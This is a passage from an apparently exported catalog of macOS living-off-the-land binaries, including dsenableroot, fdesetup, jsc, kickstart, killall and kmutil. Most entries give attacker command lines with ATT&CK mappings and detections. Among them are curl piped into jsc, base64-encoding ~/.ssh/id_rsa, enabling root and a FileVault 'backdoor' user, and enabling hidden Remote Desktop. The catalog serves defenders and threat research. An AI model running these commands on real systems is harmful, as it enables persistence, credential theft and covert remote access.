Account Manipulation - Additional Local or Domain Groups](https://attack.mitre.org/techniques/T1098/007/) - [Atomic Red Team T1078.003 Test 5: Add a new/existing user to the admin group using dseditgroup utility - macOS](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-5---add-a-newexisting-user-to-the-admin-group-using-dseditgroup-utility---macos) - [On macOS User Groups - Scripting OS X](https://scriptingosx.com/2018/11/on-macos-user-groups/) - [Secure Shell (SSH) or Remote Login - ManageMacs wiki (com.apple.access_ssh)](https://github.com/scriptingosx/ManageMacs/wiki/Secure-Shell-(SSH)-or-Remote-Login) - [Set specific users to use Screen Sharing through command lines - Jamf Nation (com.apple.access_screensharing)](https://community.jamf.com/t5/jamf-pro/set-specific-users-to-use-screen-sharing-through-command-lines/m-p/231888) - [dseditgroup - SS64 macOS command reference](https://ss64.com/mac/dseditgroup.html) ### Acknowledgements - Armin Briegel (@scriptingosx) for documenting macOS group records and the com.apple.access_ssh service access group --- ## dsenableroot > Enable or disable the macOS root account and set its password from the command line. dsenableroot is the command-line equivalent of Directory Utility's "Enable Root User" action. It writes a password onto the local root account and activates it, and -d disables it again. Administrator credentials can be passed with -u and -p, so the whole operation runs from a script with no interactive prompt. For an attacker who already holds admin credentials, it creates a second UID 0 account that is independent of the compromised user, so it survives that user's password reset or deletion. The Calisto trojan used it to enable the hidden root account with a hard-coded password alongside Remote Login and Screen Sharing. - Page: https://loobins.io/binaries/dsenableroot/ - Author: Hare Sudhan (@cyb3rbuff) - Created: 2026-09-20 - Tactics: Persistence, Privilege Escalation, Stealth ### Paths - `/usr/sbin/dsenableroot` ### Example Use Cases #### Enable the root account non-interactively for persistent privileged access -u and -p supply administrator credentials and -r supplies the new root password, so the command runs unattended with no prompt. It needs valid admin credentials, and the resulting root account is independent of the admin account used to create it, so it survives that account's password reset or deletion. ```bash dsenableroot -u -p -r ``` - Tactics: Persistence, Privilege Escalation - ATT&CK techniques: T1098, T1078.003 #### Enable the root account interactively to keep credentials out of the command line With no arguments, dsenableroot prompts for the caller's password and the new root password. Neither secret reaches argv, so they stay out of shell history and the process argument list, though the process name is still recorded. Requires an interactive TTY and an admin session. ```bash dsenableroot ``` - Tactics: Persistence, Stealth - ATT&CK techniques: T1098, T1078.003 #### Disable the root account to clean up after use -d removes the root account's password and disables it, restoring the default macOS state. An operator can enable root, use it, and disable it again, leaving the account state as it was before. ```bash dsenableroot -d -u -p ``` - Tactics: Stealth - ATT&CK techniques: T1070 ### Detections - [Elastic: Attempt to Enable the Root Account (process.name == dsenableroot and not process.args == "-d")](https://www.elastic.co/guide/en/security/current/attempt-to-enable-the-root-account.html) - [Sigma: Root Account Enable Via Dsenableroot](https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_dsenableroot_enable_root_account.yml) ### Resources - [Apple Support: How to enable the root user or change the root password on Mac](https://support.apple.com/en-us/102367) - [dsenableroot man page](https://ss64.com/mac/dsenableroot.html) - [MITRE ATT&CK T1078.003 Valid Accounts: Local Accounts](https://attack.mitre.org/techniques/T1078/003/) - [Atomic Red Team T1078.003 - Enable root account using dsenableroot utility](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md) - [Kaspersky Securelist: Calisto Trojan for macOS](https://securelist.com/calisto-trojan-for-macos/86543/) - [CIS Apple macOS Benchmark 5.5 - Ensure the 'root' Account Is Disabled](https://www.tenable.com/audits/items/CIS_Apple_macOS_11.0_Big_Sur_v3.0.0_L1.audit:b944419d53d4f5e40727a4a0e5e952da) --- ## dsexport > Export data from an Open Directory directory services server. dsexport is a command-line utility designed to export records from the directory services database on a local host or from a connected LDAP service. The tool can be used to gather information about users, groups, and computers. The tool can also be used to export the directory services database to a file for offline analysis. - Page: https://loobins.io/binaries/dsexport/ - Author: Brendan Chamberlain (@infosecB) - Created: 2023-05-23 - Tactics: Reconnaissance, Discovery ### Paths - `/usr/bin/dsexport` ### Example Use Cases #### Export local host users Export the local host user information to a file ```bash dsexport local_users.txt /Local/Default dsRecTypeStandard:Users ``` - Tactics: Reconnaissance, Discovery - ATT&CK techniques: T1087.001 - Tags: ldap, users #### Export local host groups Export the local host group information to a file ```bash dsexport local_groups.txt /Local/Default dsRecTypeStandard:Groups ``` - Tactics: Reconnaissance, Discovery - ATT&CK techniques: T1069.001 - Tags: ldap, groups ### Detections - No detections at time of publishing --- ## fdesetup > Query and manage FileVault full disk encryption, users, and recovery keys. fdesetup configures and reports on FileVault full disk encryption. Some status verbs are available to any user, while most management verbs require root and authentication with a FileVault user's password or a recovery key. An attacker can use fdesetup to determine whether the disk is encrypted and how recovery is configured, perform an authenticated restart that bypasses the FileVault unlock screen, generate a new personal recovery key, grant an attacker-controlled account FileVault unlock rights, or disable FileVault entirely. - Page: https://loobins.io/binaries/fdesetup/ - Author: Brendan Chamberlain (@infosecB) - Created: 2026-11-07 - Tactics: Persistence, Defense Impairment, Credential Access, Discovery, Impact ### Paths - `/usr/bin/fdesetup` ### Example Use Cases #### Determine FileVault status and recovery configuration Check whether FileVault is enabled and whether the host supports authenticated restarts without root. With root, an attacker can also list FileVault-enabled users and determine whether personal or institutional recovery keys exist. ```bash fdesetup status fdesetup isactive fdesetup supportsauthrestart sudo fdesetup list -extended sudo fdesetup haspersonalrecoverykey sudo fdesetup hasinstitutionalrecoverykey ``` - Tactics: Discovery - Tags: oneliner, bash, filevault #### Bypass the FileVault unlock screen on the next restart Perform an authenticated restart, which stores an unlock key in memory so the system boots directly to the login window without requiring the FileVault password. Using -delayminutes -1 arms the bypass for the next user-initiated restart instead of rebooting immediately, so services that need the data volume unlocked, such as SSH or remote management, come back up after the reboot. ```bash sudo fdesetup authrestart -delayminutes -1 ``` - Tactics: Persistence, Defense Impairment - Tags: oneliner, bash, filevault #### Generate a new personal recovery key Replace the existing personal recovery key with a newly generated key printed to stdout. The attacker gains a key that can unlock the disk, and any previously escrowed key no longer works, which can prevent the organization from recovering the host. ```bash sudo fdesetup changerecovery -personal ``` - Tactics: Persistence, Credential Access, Impact - Tags: oneliner, bash, filevault #### Grant an attacker-controlled account FileVault unlock rights Add an existing local account, such as one created with sysadminctl or dscl, as a FileVault user so it can unlock the disk at boot. Authentication with an existing FileVault user's password or the recovery key is required. ```bash sudo fdesetup add -usertoadd backdoor ``` - Tactics: Persistence - Tags: oneliner, bash, filevault, users #### Disable FileVault Decrypt the boot volume and disable FileVault, removing at-rest protection for the data on the host. ```bash sudo fdesetup disable ``` - Tactics: Defense Impairment, Impact - Tags: oneliner, bash, filevault ### Detections - Command-line detection: fdesetup with authrestart, changerecovery, removerecovery, add, or disable arguments outside of approved MDM or management tooling - Process execution detection: fdesetup status, list, or has*recoverykey executed by a script interpreter or an unsigned process - MDM telemetry: FileVault recovery key escrow change or FileVault disabled event reported by the MDM server ### Resources - [Volume encryption with FileVault in macOS - Apple Platform Security](https://support.apple.com/guide/security/volume-encryption-with-filevault-sec4c6dc1b6e/web) - [Security Implications of fdesetup authrestart on FileVault-Enabled Macs - Apple Developer Forums](https://developer.apple.com/forums/thread/774703) --- ## funzip > The malicious binaries use funzip to extract the malicious binary with a password and using head or tail commands. funzip is a macOS utility that extracts a ZIP or gzip file directly to output from archives or other piped input. The malicious binaries use funzip to extract the malicious binary with a password and using head or tail commands. - Page: https://loobins.io/binaries/funzip/ - Author: Pratik Jeware - Created: 2026-01-21 - Tactics: Execution ### Paths - `/usr/bin/funzip` ### Example Use Cases #### extracts a ZIP or gzip file directly to output from archives or other piped input funzip is a macOS utility used to extract ZIP or gzip files directly to output. Malicious binaries misuse funzip, along with head or tail, to extract and reconstruct password-protected malicious payloads. ```bash tail -c <> $0 | funzip - ``` - Tactics: Execution - ATT&CK techniques: T1140 - Tags: bash, zsh ### Detections - No detections at time of publishing ### Resources - [MacOS: Bashed Apples of Shlayer and Bundlore](https://www.uptycs.com/blog/threat-research-report-team/macos-bashed-apples-of-shlayer-and-bundlore) - [funzip man page](https://linux.die.net/man/1/funzip) --- ## GetFileInfo > Get attributes of files and directories. Uses the CommandLine/Terminal to return type, creator, attributes, created, and modified file information of a file or directory. - Page: https://loobins.io/binaries/getfileinfo/ - Author: Chris Campbell (@texasbe2trill) - Created: 2023-04-23 - Tactics: Discovery ### Paths - `/usr/bin/GetFileInfo` ### Example Use Cases #### Iterate through a directory to GetFileInfo A bash or zsh oneliner can provide an attacker with information about specific files of interest. ```bash for FILE in ~/Downloads/*; do echo $(GetFileInfo $FILE) >> fileinfo.txt; sleep 2; done ``` - Tactics: Discovery - ATT&CK techniques: T1083 - Tags: bash, zsh, oneliner ### Detections - No detections at time of publishing ### Resources - [macOS/binaries/GetFileInfo](https://macosbin.com/bin/getfileinfo) --- ## hdiutil > Manipulate disk images using the DiskImages framework. hdiutil manipulates disk images such as DMG and ISO files. You can mount, unmount, create, resize and verify disk images. Including encrypted images. - Page: https://loobins.io/binaries/hdiutil/ - Author: Mark Morowczynsk (@markmorow) - Created: 2023-05-21 - Tactics: Execution, Collection ### Paths - `/usr/bin/hdiutil` ### Example Use Cases #### Mount a malicious dmg file Uses hdiutil to mount a malicious dmg file to the system. ```bash hdiutil mount malicious.dmg ``` - Tactics: Execution - ATT&CK techniques: T1204.002 - Tags: bash, zsh, disk #### Mount a malicious dmg file Uses hdiutil to mount a malicious dmg file to the system. ```bash hdiutil attach malicious.dmg ``` - Tactics: Execution - ATT&CK techniques: T1204.002 - Tags: bash, zsh, disk #### Mount a malicious iso file Uses hdiutil to mount a malicious iso file to the system. ```bash hdiutil mount malicious.iso ``` - Tactics: Execution - ATT&CK techniques: T1204.002 - Tags: bash, zsh, disk #### Mount a malicious iso file Uses hdiutil to mount a malicious iso file to the system. ```bash hdiutil attach malicious.iso ``` - Tactics: Execution - ATT&CK techniques: T1204.002 - Tags: bash, zsh, disk #### Exfiltrate data in dmg file Uses hdiutil to create a dmg file to store exfiltrate data ```bash hdiutil create -volname "Volume Name" -srcfolder /path/to/folder -ov diskimage.dmg ``` - Tactics: Collection - ATT&CK techniques: T1560, T1074.001 - Tags: bash, zsh, disk #### Exfiltrate data in encrypted dmg file Uses hdiutil to create a dmg file to store exfiltrate data ```bash hdiutil create -encryption -stdinpass -volname "Volume Name" -srcfolder /path/to/folder -ov encrypteddiskimage.dmg ``` - Tactics: Collection - ATT&CK techniques: T1560, T1074.001 - Tags: bash, zsh, disk ### Detections - [Sigma: Disk Image Mounting Via Hdiutil](https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_mount.yml) - [Sigma: Disk Image Creation Via Hdiutil](https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_create.yml) ### Resources - [Microsoft finds new macOS vulnerability, Shrootless, that could bypass System Integrity Protection](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) --- ## ioreg > Displays a hierarchial view of the I/O Kit registry. The I/O Kit registry (ioreg) is a useful binary that can be used to gather data such as detecting if a VM is used, getting USB device vendor names, checking if a screen is locked, etc. - Page: https://loobins.io/binaries/ioreg/ - Author: Cedric Owens (@cedowens) - Created: 2023-04-20 - Tactics: Discovery, Collection ### Paths - `/usr/sbin/ioreg` ### Example Use Cases #### Use ioreg to check whether the remote macOS screen is locked. The following command will display a list of keys that contain "CGSSession". If the key "CGSSessionScreenIsLocked" is present, the screen is actively locked. ```bash ioreg -n Root -d1 -a | grep CGSSession ``` - Tactics: Discovery - ATT&CK techniques: T1082 - Tags: bash, oneliner, lockscreen #### Use ioreg to check whether the host is on a physical machine or a VM Check the output of this command (specifically the IOPlatformSerialNumber, board-id, and manufacturer fields) to check whether or not this host is in a virtual machine. ```bash ioreg -rd1 -c IOPlatformExpertDevice ``` - Tactics: Discovery, Collection - ATT&CK techniques: T1497.001 - Tags: oneliner, vmcheck #### Use ioreg to check USB device vendor names Grep for "USB Vendor Name" values to view USB vendor names. On virtualized hardware these values may contain the hypervisor name such as "VirtualBox". This is an additional way to check for virtualization. ```bash ioreg -rd1 -c IOUSBHostDevice ``` - Tactics: Discovery, Collection - ATT&CK techniques: T1120 - Tags: oneliner, vmcheck #### Check all ioreg properties for hypervisor names. Grep for "virtual box", "oracle", and "vmware" from the output of the ioreg -l command. This is an additional way to check for virtualization. ```bash ioreg -l ``` - Tactics: Discovery, Collection - ATT&CK techniques: T1497.001 - Tags: oneliner, vmcheck ### Detections - [System Information Discovery Using Ioreg](https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_ioreg_discovery.yml) - [Jamf Protect: Ioreg used to detect if the screen is locked](https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/lockscreen_check) ### Resources - [Evasions: macOS](https://evasions.checkpoint.com/src/MacOS/macos.html) - [SwiftBelt-JXA Situational Awareness Tool](https://github.com/cedowens/SwiftBelt-JXA/blob/main/SwiftBelt-JXA.js#520) --- ## jsc > Execute JavaScript and read or write arbitrary files using the JavaScriptCore command-line shell. jsc is the command-line shell for JavaScriptCore, the JavaScript engine used by Safari and WebKit. It ships with macOS inside the JavaScriptCore framework but is not on the default PATH. Since macOS Ventura, the framework lives in the OS cryptex on the Preboot volume, and /System/Library/Frameworks/JavaScriptCore.framework is a symlink into it, so process telemetry typically reports the resolved /System/Volumes/Preboot/Cryptexes/OS/... path. Beyond evaluating JavaScript from a file, an inline expression, or standard input, the shell exposes built-in helpers such as readFile(), writeFile(), load(), and runString(), and supports WebAssembly. These give an attacker an Apple-signed interpreter for executing obfuscated script content, reading files, and writing arbitrary (including binary) files outside of commonly monitored interpreters such as osascript, python3, or perl. jsc has no native networking or shell execution capability, so it is typically paired with other tooling for those stages. - Page: https://loobins.io/binaries/jsc/ - Author: Brendan Chamberlain (@infosecB) - Created: 2026-11-07 - Tactics: Execution, Stealth, Credential Access, Collection ### Paths - `/System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/Helpers/jsc` - `/System/Library/Frameworks/JavaScriptCore.framework/Versions/A/Helpers/jsc` - `/System/Cryptexes/OS/System/Library/Frameworks/JavaScriptCore.framework/Versions/A/Helpers/jsc` - `/System/Volumes/Preboot/Cryptexes/OS/System/Library/Frameworks/JavaScriptCore.framework/Versions/A/Helpers/jsc` ### Example Use Cases #### Execute JavaScript from a file, an inline expression, or standard input jsc evaluates JavaScript passed as a file, with the -e flag, or piped through standard input. This provides an alternative to JXA via osascript for executing attacker-controlled script content with a signed Apple binary. ```bash /System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/Helpers/jsc payload.js -- arg1 arg2 /System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/Helpers/jsc -e 'print("hello")' curl -s https://example.com/payload.js | /System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/Helpers/jsc ``` - Tactics: Execution, Stealth - ATT&CK techniques: T1059.007 - Tags: javascript, oneliner, bash #### Execute an obfuscated Base64 encoded payload The atob() and eval() functions can be combined to decode and run a Base64 encoded script, keeping the plaintext script content off the command line and out of files on disk. ```bash /System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/Helpers/jsc -e 'eval(atob("cHJpbnQoJ2RlY29kZWQnKQ=="))' ``` - Tactics: Execution, Stealth - ATT&CK techniques: T1059.007, T1140 - Tags: javascript, base64, oneliner #### Read and Base64 encode the contents of a file The readFile() built-in reads any file the current user can access. Combined with btoa(), file contents can be encoded for staging or exfiltration through another channel. ```bash /System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/Helpers/jsc -e 'print(btoa(readFile("/Users//.ssh/id_rsa")))' ``` - Tactics: Credential Access, Collection - ATT&CK techniques: T1005 - Tags: javascript, base64, oneliner #### Decode and write a binary payload to disk The writeFile() built-in accepts a Uint8Array, allowing an attacker to decode an embedded Base64 blob and write an arbitrary binary such as a Mach-O executable to disk without using base64, xxd, or similar tools. ```bash /System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/Helpers/jsc -e 'var s=atob(""); var b=new Uint8Array(s.length); for(var i=0;i Display the status of loaded kernel extensions (kexts) Deprecated tool in favor of kmutil. Lists loaded kernel extensions - Page: https://loobins.io/binaries/kextstat/ - Author: Mark Morowczynsk (@markmorow) - Created: 2023-07-30 - Tactics: Discovery ### Paths - `/usr/sbin/kextstat` ### Example Use Cases #### List kernel extensions Uses kexstat showloaded to display kernel extensions and address in kernel memory it has been loaded ```bash kexstat ``` - Tactics: Discovery - ATT&CK techniques: T1082 - Tags: bash, zsh, kernel ### Detections - No detections at time of publishing ### Resources - [kextstat man page](https://ss64.com/osx/kextstat.html) --- ## kickstart > Activate and configure the built-in Remote Management (Apple Remote Desktop) service from the command line. kickstart is a Perl script inside the Apple Remote Desktop agent bundle (/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart), Apple's supported way to install, activate, configure and restart the Remote Management service without a reboot, documented in Apple article 101439. Running as root, it loads the com.apple.screensharing LaunchDaemon, enables the service, sets per-user ARD privileges through dscl, and writes client settings to the RemoteManagement and RemoteDesktop plists. For an attacker with root, this Apple-signed script turns a host into a controllable screen-sharing and remote-command endpoint (TCP 5900 and 3283) with nothing dropped on disk, and can grant access to a chosen account, set a legacy VNC password, hide the menu bar indicator and later strip the configuration. Mandiant observed attackers connecting over SSH, running kickstart to enable Remote Desktop, then moving laterally over the screen-sharing channel. On macOS 10.14 and later it checks TCC state and warns that screen recording or control may still be blocked, so activation alone does not guarantee a usable screen unless the ARDAgent already holds the relevant TCC grants. - Page: https://loobins.io/binaries/kickstart/ - Author: Hare Sudhan (@cyb3rbuff) - Created: 2026-09-20 - Tactics: Persistence, Stealth, Defense Impairment, Lateral Movement, Collection, Command and Control ### Paths - `/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart` ### Example Use Cases #### Activate Remote Management and grant every local user full control The -activate option loads the com.apple.screensharing LaunchDaemon and enables the service, and -configure -allowAccessFor -allUsers -privs -all sets ARD_AllLocalUsers and the all-user privilege mask so any local account can log in with full control. Mandiant observed this command after attackers connected over SSH. Requires root; on macOS 10.14 and later the ARDAgent additionally needs Screen Recording and Accessibility TCC grants for screen control to work. ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -quiet ``` - Tactics: Persistence, Lateral Movement, Command and Control - ATT&CK techniques: T1021.005 #### Grant ARD access to a single attacker-controlled account Instead of flipping the all-users switch, -configure -access -on -privs -all -users sets the "naprivs" bitmask on just the named local user record via dscl. System Settings then shows access limited to specified users, which resembles a normal administrative configuration and leaves fewer accounts changed. Requires root and an existing local account with a UID above 500. ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -configure -access -on -privs -all -users ``` - Tactics: Persistence, Lateral Movement - ATT&CK techniques: T1021.005 #### Enable legacy VNC authentication with an attacker-chosen password -configure -clientopts -setvnclegacy -vnclegacy yes -setvncpw -vncpw turns on legacy VNC password mode and stores the password in /Library/Preferences/com.apple.VNCSettings.txt. This authentication path does not depend on any macOS account password, so it survives a password reset and is reachable from any standard VNC client. kickstart obfuscates the stored password with a fixed XOR key, so the file is trivially reversible by anyone who can read it, and the service truncates the password to 8 characters with no rate limiting, making brute force practical. Requires root. ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -configure -clientopts -setvnclegacy -vnclegacy yes -setvncpw -vncpw ``` - Tactics: Persistence, Defense Impairment - ATT&CK techniques: T1021.005 #### Hide the Remote Management menu bar indicator -configure -clientopts -setmenuextra -menuextra no sets LoadRemoteManagementMenuExtra to false in com.apple.RemoteManagement.plist, stopping the Remote Management menu extra from loading in the menu bar. Paired with -restart -menu to reload the SystemUIServer-hosted item, this removes the most visible on-screen cue that the service is on, so a user at the console sees no indicator for the newly enabled remote access. Requires root. ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -configure -clientopts -setmenuextra -menuextra no -restart -menu ``` - Tactics: Stealth - ATT&CK techniques: T1564 #### Escalate a headless SSH foothold to an interactive desktop session A shell obtained over SSH cannot answer GUI-only prompts such as TCC consent dialogs, keychain unlock requests or authorization sheets. Activating Remote Management over the SSH session and restarting the agent gives a screen-sharing channel into the console user's live session, where those dialogs can be clicked through as the logged-in user and the desktop and typed content observed. Requires root over SSH, an interactive console session, and on macOS 10.14 and later the Screen Recording and Accessibility TCC grants for the ARDAgent. ```bash ssh @ "sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -privs -all -users -restart -agent -console" ``` - Tactics: Stealth, Lateral Movement, Collection - ATT&CK techniques: T1021.005, T1021.004 - Tags: ssh #### Deactivate the service and strip the access privileges after use -deactivate unloads the com.apple.screensharing LaunchDaemon, kills the screen sharing daemon and agent, and deletes the RemoteManagement.launchd marker file. -uninstall -settings additionally deletes com.apple.RemoteDesktop.plist, com.apple.ARDAgent.plist and com.apple.RemoteManagement.plist, and destroys the "naprivs" attribute on every local user record. An attacker uses this to remove the configuration once the objective is met. Requires root. ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -uninstall -settings -deactivate -stop -quiet ``` - Tactics: Stealth - ATT&CK techniques: T1070 ### Detections ### Resources - [Use the kickstart command-line utility in Apple Remote Desktop - Apple Support](https://support.apple.com/en-us/101439) - [Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil - Mandiant](https://cloud.google.com/blog/topics/threat-intelligence/leveraging-apple-remote-desktop-for-good-and-evil) - [MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol) - LockBoxx](https://blog.lockboxx.org/2019/07/macos-red-teaming-206-ard-apple-remote.html) - [MITRE ATT&CK T1021.005 - Remote Services: VNC](https://attack.mitre.org/techniques/T1021/005/) - [Atomic Red Team T1021.005 - Apple Remote Desktop activation via kickstart, usable as a detection test case](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1021.005/T1021.005.md) - [ARDvark - Mandiant parser for Apple Remote Desktop forensic artifacts](https://github.com/mandiant/ARDvark) - [kickstart command reference - ss64](https://ss64.com/mac/kickstart.html) ### Acknowledgements - Jake Nicastro and Willi Ballenthin (Mandiant) for documenting kickstart-enabled Apple Remote Desktop lateral movement and the associated forensic artifacts - Dan Borges (LockBoxx) for the ARD red teaming research covering legacy VNC password weaknesses and screen sharing tradecraft --- ## killall > Kill processes by name. killall is a built-in macOS utility that sends signals to processes selected by name. Although intended for legitimate process management, macOS malware has abused killall to terminate Terminal sessions, conceal malicious command execution, and repeatedly stop user-interface processes such as Finder, Dock, SystemUIServer, and NotificationCenter. This can disrupt normal desktop operation, suppress visible notifications, and force victims to continue an attacker-controlled interaction flow. - Page: https://loobins.io/binaries/killall/ - Author: Jason Phang Vern - Onn - Created: 2026-07-26 - Tactics: Stealth, Defense Impairment, Impact ### Paths - `/usr/bin/killall` ### Example Use Cases #### Terminate Terminal to conceal malicious execution Terminate running Terminal processes after malicious commands have been launched, reducing visible evidence of execution and interfering with manual analysis. ```bash killall Terminal ``` - Tactics: Stealth - Tags: processes, terminal, evasion #### Repeatedly disrupt macOS user-interface processes Repeatedly terminate macOS user-interface processes at short intervals to disrupt normal desktop operation and force the victim to continue an attacker-controlled interaction flow. ```bash while true; do killall Finder Dock SystemUIServer NotificationCenter 2>/dev/null; sleep 0.1; done ``` - Tactics: Impact - ATT&CK techniques: T1489 - Tags: processes, user-interface, disruption #### Suppress Notification Center Repeatedly terminate NotificationCenter to interfere with the display of macOS notifications. ```bash killall NotificationCenter ``` - Tactics: Defense Impairment, Impact - ATT&CK techniques: T1685 - Tags: notifications, processes #### Forcefully terminate a named process Send SIGKILL to immediately terminate processes that may ignore the default termination signal. ```bash killall -9 Terminal ``` - Tactics: Defense Impairment, Impact - ATT&CK techniques: T1489 - Tags: processes, sigkill ### Detections - Process execution monitoring for killall - Detect repeated killall execution targeting macOS user-interface processes ### Resources - [Banshee: The Stealer That Stole Code From macOS XProtect](https://research.checkpoint.com/2025/banshee-macos-stealer-that-stole-code-from-macos-xprotect/) - [ClickLock Stealer: Paste Once, Lose Everything](https://www.group-ib.com/blog/clicklock-stealer-macos-malware/) - [Say My Name: How MioLab is Building a macOS Stealer Empire](https://www.levelblue.com/blogs/spiderlabs-blog/say-my-name-how-miolab-is-building-macos-stealer-empire) - [Proton.B: What This Mac Malware Actually Does](https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does) --- ## kmutil > Manage, inspect, and load macOS kernel extensions and kext collections. kmutil is the KernelManagement command-line tool for kernel extensions on macOS 11 and later, the supported replacement for kextload, kextunload, and kextcache. Its subcommands each have an offensive counterpart. showloaded inventories kernel-resident security tooling, unload stops a legacy security kext or IOService, load installs attacker-supplied kernel code via a kernelmanagerd rebuild of the auxiliary kext collection, and the Recovery-only subcommands place code ahead of the OS in the boot chain or strip every third-party kext approval. Loading a third-party kext is heavily gated (root, an administrator approval prompt, a reboot, and on Apple silicon a machine already in Reduced Security), but kmutil ships with the base OS and is the expected tool for these operations. - Page: https://loobins.io/binaries/kmutil/ - Author: Hare Sudhan (@cyb3rbuff) - Created: 2026-09-20 - Tactics: Persistence, Privilege Escalation, Stealth, Defense Impairment, Discovery, Impact ### Paths - `/usr/bin/kmutil` ### Example Use Cases #### Inventory loaded kernel extensions and DriverKit extensions to locate security tooling showloaded queries the kernel directly for load information. --list-only --no-kernel-components lists non-codeless kexts with their bundle identifiers, versions, load addresses, and reference counts. Codeless kexts and DriverKit extensions require --collection codeless --show all to enumerate. Together these identify any legacy kernel-resident or DriverKit-based endpoint security product. They do not cover System Extensions, which systemextensionsctl enumerates instead. ```bash kmutil showloaded --list-only --no-kernel-components ``` - Tactics: Discovery - ATT&CK techniques: T1518.001 #### Unload a kernel extension to disable a kernel-resident security product unload invokes a kext's stop function and ends its IOKit lifecycle, stopping a legacy security kext from observing the system. It requires root and fails if another loaded kext holds a reference to the target (shown by the Refs column of showloaded). The kext stays in its collection, so the change does not survive a reboot. Applies only to products still shipping a kext rather than a System Extension. ```bash sudo kmutil unload --bundle-identifier ``` - Tactics: Defense Impairment - ATT&CK techniques: T1685 #### Terminate IOService instances to disable a driver without fully unloading its kext unload --class-name terminates all instances of a named IOService class while leaving the kext loaded. Adding --personalities-only also removes the kext's personalities so the driver cannot restart. Either form stops the driver from doing work while leaving the kext visible in showloaded output. Requires root. ```bash sudo kmutil unload --class-name ``` - Tactics: Defense Impairment - ATT&CK techniques: T1685 #### Install an attacker-supplied kernel extension for boot persistence load stages a kext bundle from disk and, if it is not already in the auxiliary kext collection, has kernelmanagerd rebuild that collection so the kext loads at every subsequent boot. The prerequisites are steep. It requires root; with SIP enabled the signature is verified before the kext is added; kernelmanagerd prompts a logged-in administrator to approve the rebuild; the machine must reboot; and on Apple silicon it must already be in Reduced Security with third-party kexts enabled. kmutil signals the last two states with exit codes 27 (approval required) and 28 (reboot required). ```bash sudo kmutil load --bundle-path /Library/Extensions/.kext ``` - Tactics: Persistence, Privilege Escalation - ATT&CK techniques: T1547.006 #### Install a custom boot object to gain pre-boot code execution on Apple silicon The Recovery-only configure-boot subcommand installs a Mach-O that iBoot loads and starts, placing attacker-controlled code ahead of the OS in the boot chain by setting the CustomOS Image4 manifest hash in a Mac's LocalPolicy. The prerequisites are interactive. The machine must be in Recovery, an administrator must already have selected Reduced Security in Startup Security Utility, and kmutil prompts for confirmation before downgrading further to Permissive Security. It needs physical access or a management path that can force a Recovery boot, not remote code execution alone. ```bash kmutil configure-boot --custom-boot-object --volume /Volumes/ ``` - Tactics: Persistence, Stealth - ATT&CK techniques: T1542 #### Strip all third-party kext approvals with trigger-panic-medic trigger-panic-medic is meant to recover a machine from a kext that panics at boot. It removes the auxiliary kext collection and revokes every kext approval on the next boot, which on a managed fleet drops any third-party kernel extension the organization deployed, including a security vendor's kext, and forces user re-approval before any can load again. It runs only in Recovery Mode, needing the same access as configure-boot. ```bash kmutil trigger-panic-medic ``` - Tactics: Defense Impairment, Impact - ATT&CK techniques: T1685 ### Detections ### Resources - [kmutil(8) man page](https://keith.github.io/xcode-man-pages/kmutil.8.html) - [EndpointSecurity ES_EVENT_TYPE_NOTIFY_KEXTLOAD and ES_EVENT_TYPE_NOTIFY_KEXTUNLOAD event types](https://developer.apple.com/documentation/endpointsecurity/es_event_type_t) - [Apple Platform Security - Startup disk security policy control](https://support.apple.com/guide/security/startup-disk-security-policy-control-sec7d92dc49f/web) - [MITRE ATT&CK T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions](https://attack.mitre.org/techniques/T1547/006/) - [Atomic Red Team T1547.006 - MacOS - Load Kernel Module via kextload and kmutil](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.006/T1547.006.md) - [Apple Platform Security - Contents of a LocalPolicy file for a Mac with Apple silicon (the CustomOS Image4 manifest hash set by kmutil configure-boot)](https://support.apple.com/guide/security/contents-a-localpolicy-file-mac-apple-silicon-secc745a0845/web) - [Apple Platform Security - Boot process for a Mac with Apple silicon](https://support.apple.com/guide/security/boot-process-secac71d5623/web) --- ## last > Show last user logins and TTYs. The command shows a list of user sessions including the user name, terminal used, host name, start and stop times, and duration. It also indicates if a session is still active or was terminated unexpectedly. - Page: https://loobins.io/binaries/last/ - Author: Will Huang (@In0de_16) - Created: 2023-04-27 - Tactics: Discovery ### Paths - `/usr/bin/last` ### Example Use Cases #### Enumerate the users who are currently logged into the system. The following command will display sessions that are currently active. ```bash last | grep "still logged in" ``` - Tactics: Discovery - ATT&CK techniques: T1033 - Tags: oneliner, account #### Enumerate all user accounts that have logged into the system previously. The last command can be used to output users who have previously logged in, by 